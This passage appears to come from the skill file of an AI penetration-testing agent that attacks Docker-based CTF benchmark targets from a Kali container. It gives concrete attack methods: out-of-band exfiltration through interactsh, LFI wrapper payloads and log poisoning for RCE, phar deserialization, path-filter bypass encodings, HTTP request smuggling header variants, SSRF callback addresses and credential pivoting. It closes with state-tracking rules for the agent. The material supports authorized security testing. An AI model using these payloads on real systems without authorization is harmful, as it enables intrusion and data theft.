• Out-of-band exfiltration is available and should be used — when a vulnerability is confirmed blind (no response reflection, no visible output, or the flag is in an env var rather than a file), do NOT mark the finding as "confirmed but couldn't extract". Start interactsh in the Kali container and use DNS/HTTP callbacks to exfil the data. The skill ladder: interactsh-client -n 1 -o /tmp/interactsh.log &, note the generated subdomain, inject payloads that trigger DNS lookups or HTTP requests to that subdomain, then cat /tmp/interactsh.log to read the captured data. See /web-exploit refs/oob-exfil.md for per-vuln-class payload patterns.
• Structure-aware IDOR — when an endpoint takes an opaque ID (UUID, MongoDB ObjectID, Snowflake, prefixed IDs), decode the format before enumerating. UUIDv1 leaks the MAC address and creation time. MongoDB ObjectIDs have a 4-byte timestamp + 5-byte machine/pid + 3-byte counter — if the app leaks counter distance on registration, you can reconstruct any user's ID. Always dump 2-3 sample IDs first and compare them byte-by-byte. Sequential brute-force is a last resort, not a first. See /web-exploit refs/idor-advanced.md.
• CMS detection triggers a mandatory plugin scan — when any recon step shows a CMS signal (/wp-content/, /sites/default/, /administrator/, <meta name="generator"> with WordPress/Drupal/Joomla, X-Generator header), immediately run the CMS-specific scanner (wpscan for WordPress, droopescan for Drupal, joomscan for Joomla) before continuing generic fuzzing. Plugin CVEs are the dominant attack surface on CMS targets — generic ffuf/nuclei scans miss most of them. After the scanner completes, cross-reference every listed plugin against searchsploit <plugin>. See /web-exploit refs/cms-cves.md.
• Cross-endpoint credential pivot — when SQLi (or any credential leak) extracts password, api_key, token, or recovery_token columns, the win condition is almost always on a DIFFERENT endpoint (the login page, the admin dashboard, the password reset flow). Do NOT keep pounding the SQLi sink trying to dump the flag — pivot the extracted credentials to every auth endpoint on the target. The SQLi is the stepping stone; the authenticated path is the win. See /web-exploit refs/sqli.md.
• SSTI via include sink — when an app has both a file-upload endpoint AND a template that does {% include user_var %} or equivalent, check whether the uploaded file path can be reached by the include. This is stored SSTI: upload a Jinja/Twig/Freemarker fragment to the shared path, trigger via the include parameter. See /web-exploit refs/ssti.md.
• LFI read technique ladder — path traversal alone is not enough. When include() / require() hits a target file, the file is parsed as PHP and its contents are not echoed. If a straight include yields empty output, walk this ladder in order before giving up:
  1. php://filter/convert.base64-encode/resource=<file> — returns raw file bytes as base64 regardless of the file type. Works when the sink is include/require/file_get_contents/readfile and you control the full path prefix.
  2. data://text/plain;base64,<b64 of <?php ... ?>> — RCE if allow_url_include=On.
  3. Access log poisoning — when the target file is a PHP file and step 1 is blocked (wrapper filtered, path is constructed as PREFIX . $user), inject PHP in the User-Agent header of a normal request, then include one of: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/httpd/access_log. Also try /proc/self/environ, /proc/self/fd/N, PHP session files at /tmp/sess_<PHPSESSID> or /var/lib/php/sessions/sess_<PHPSESSID>. Dockerfile hint: if chmod 0777 is visible on any log file in the app's source, that log file is the intended poisoning target.
  4. phar:// + file upload — when any other endpoint accepts a file write (even a .jpg), upload a polyglot phar with a serialized gadget and trigger deserialization via phar:// wrapper.
  5. Filter bypass specifics — single-pass str_replace('../', '', $x) is defeated by ....//; double-pass needs ....////; regex-based filters are defeated by URL double-encoding (%252e%252e%252f) or UTF-8 overlong (%c0%ae).
  6. Payload delivery — use http_request, not bash variable substitution — when crafting LFI/RFI/XXE/deserialization payloads containing base64-encoded PHP, user-agents with <?php ... ?>, or URL-encoded filter wrappers, send them via the http_request tool with the full literal URL and headers. Never build the URL or body as $B64_PAYLOAD / ${FOO} style variables inside a kali tool shell script — the kali tool runs commands under bash -c but each call is a fresh shell and variables set in one call do not persist to the next. A previous benchmark burned a full 70-minute budget trying log poisoning because every request was curl "http://target/post.php?id=$B64_LOG" where $B64_LOG had been exported in a separate kali call and was empty by the time curl ran. If you must use a shell, echo the literal payload into a file and curl --data-urlencode @/tmp/payload, or pipe echo <literal> | curl ... --data @-. Or better: use http_request directly.
• RFI / SSRF callback address inside Docker benchmark targets — when a target needs to fetch from an attacker-controlled URL (RFI, out-of-band SSRF, XXE with external DTD, webhook replay), do not use the Kali container's IP as the callback address. Benchmark targets usually live on a custom bridge network that is not routable to the default docker0 bridge where Kali runs. Use http://172.17.0.1:<port> instead — the docker0 gateway is the host, and every container can reach its own host. Start the listener on kali bound to 0.0.0.0:<port>, and publish/expose that port on the host if Kali is itself running in a container; then point the target at http://172.17.0.1:<port>/<path>. If that fails, the target may also reach host.docker.internal on Linux Docker 20.10+. Only fall back to interactsh public endpoints if no Docker bridge route works.
• POST-only endpoint detection — a 0-byte HTTP 200 or HTTP 405 Method Not Allowed on a GET request almost never means "dead endpoint". It usually means the handler is gated by nginx limit_except POST { deny all; }, an Apache <Limit GET> block, or a framework router that only registered POST for that route. When enumerating an internal service, always probe each discovered path with all of GET, HEAD, POST, OPTIONS — OPTIONS is especially informative because it returns the Allow: header listing the supported methods. For POST endpoints, try empty bodies and a handful of common parameter shapes (data, payload, input, file, file_path, url) before concluding the handler is uninteresting.
• Pattern-based path fuzzing — when you find /A/B/C, fuzz /A/{wordlist}/C — hidden endpoints in real apps and CTFs almost always follow a pattern established by one visible endpoint. If you discover /devices/wifi_chipset/status, the flag is very likely reachable at /devices/<word>/status for some word in a short list like flag, admin, secret, internal, root, config, debug, system, hidden, private, backup, info, env. Same applies to /api/v1/X/action, /user/<id>/profile, /cmd/<name>/run, etc. Feed the pattern to ffuf or feroxbuster with the {parent} component fuzzed from /usr/share/seclists/Discovery/Web-Content/common.txt. Do this before manually guessing specific names — the solve is almost never a name you would have guessed.
• HTTP Request Smuggling — if one primitive gets 404/503/501, try at least 8 variants before concluding the desync is patched — modern reverse proxy stacks (HAProxy 2.0-2.4, mitmproxy, nghttpx, older nginx) each have different parsing quirks, and a single Transfer-Encoding: chunked + Content-Length: N attempt will rarely land the smuggled request on the right backend. When a smuggled GET /devices/flag/status returns 404 or 503 while the external path works, cycle through the variant matrix systematically: (1) CL.TE canonical with exact chunk sizing, (2) TE.CL with Transfer-Encoding: chunked + wrong Content-Length, (3) TE.TE with duplicate TE headers (one with obfuscation like Transfer-Encoding: x\r\nTransfer-Encoding: chunked, Transfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n, Transfer-Encoding:\x00chunked, Transfer-Encoding:\tchunked, Transfer-Encoding: ,chunked, Transfer-Encoding: chunked, identity), (4) CL.0 (Content-Length without body), (5) TE.0 / CL:0, TE:chunked with empty body, (6) header continuation smuggling (CR-LF folding in header values), (7) HTTP/2 → HTTP/1.1 downgrade attacks (if the front-end speaks h2), (8) chunk-extension smuggling (1;x=y\r\n...). Keep a log of which variants you tried. Also check the upstream proxy version in response headers (Server:, Via:, X-Upstream-Proxy:) against CVE databases for smuggling — the 2.0-2.4 HAProxy branch in particular has several published primitives. kali_exec("smuggler.py -u URL --log smuggle.txt") when available will enumerate many of these automatically.

Context recovery after compaction

When your context is compacted mid-scan:

1. Re-read this skill file to reload this full workflow:

   cat ~/.config/opencode/commands/pentester-opencode.md
   

   Re-read it in full before doing anything else.
2. Call session(action="recovery") — this returns a compact recovery brief with:
   • resume_from_step — the earliest incomplete workflow step
   • coverage_in_progress — cells you were mid-test on, WITH notes about what payloads/techniques were already tried
   • pending_escalations — findings with follow-up leads you haven't pursued yet
   • action_required — prioritized list of what to do next
3. Resume in_progress cells first — these have technique state in their notes (e.g. "union blocked, blind time-based promising at 10s"). Continue from where the notes say, don't restart from scratch
4. Follow pending escalation leads — findings with escalation_leads status=pending represent attack paths you discovered but didn't finish pursuing
5. NEVER skip to reporting — do NOT jump to steps 13–16 (diagram, session(action="complete", options={...}), threat-model) just because findings already exist. If /web-exploit hasn't run, it must run. If ffuf hasn't completed, run it. Having findings does NOT mean scanning is done
6. Resume, don't restart — skip steps whose tools already appear in tools_already_run

Technique state preservation

To survive context compaction, you MUST preserve your testing state in the coverage matrix:

• Before testing a cell: mark it in_progress with notes about what you're about to try

  report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "in_progress", "notes": "Starting SQLi testing"})
  

• During testing: update notes as you progress through techniques

  report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "in_progress", "notes": "Union blocked by WAF. Error-based blocked. Trying blind time-based next."})
  

• After testing: mark final status with tested_by tool name

  report(action="coverage", data={"type": "tested", "cell_id": "cell-abc", "status": "tested_clean", "notes": "All SQLi variants tested — input properly parameterized", "tested_by": "sqlmap"})
  

• NEVER mark cells from prior session memory — after context compaction, re-run actual tools. Prior session notes are NOT evidence. The system will flag cells with no tested_by tool as integrity violations at completion time.
• When you find a vulnerability: log the finding WITH escalation leads

  report(action="finding", data={..., "escalation_leads": [
    {"lead": "Crack admin hash from users table dump", "status": "pending"},
    {"lead": "Try --os-shell for RCE via SQLi", "status": "pending"},
    {"lead": "Dump sessions table for active tokens", "status": "pending"}
  ]})
  

This state survives compaction. After recovery, session(action="recovery") reads it all back and tells you exactly where to resume.
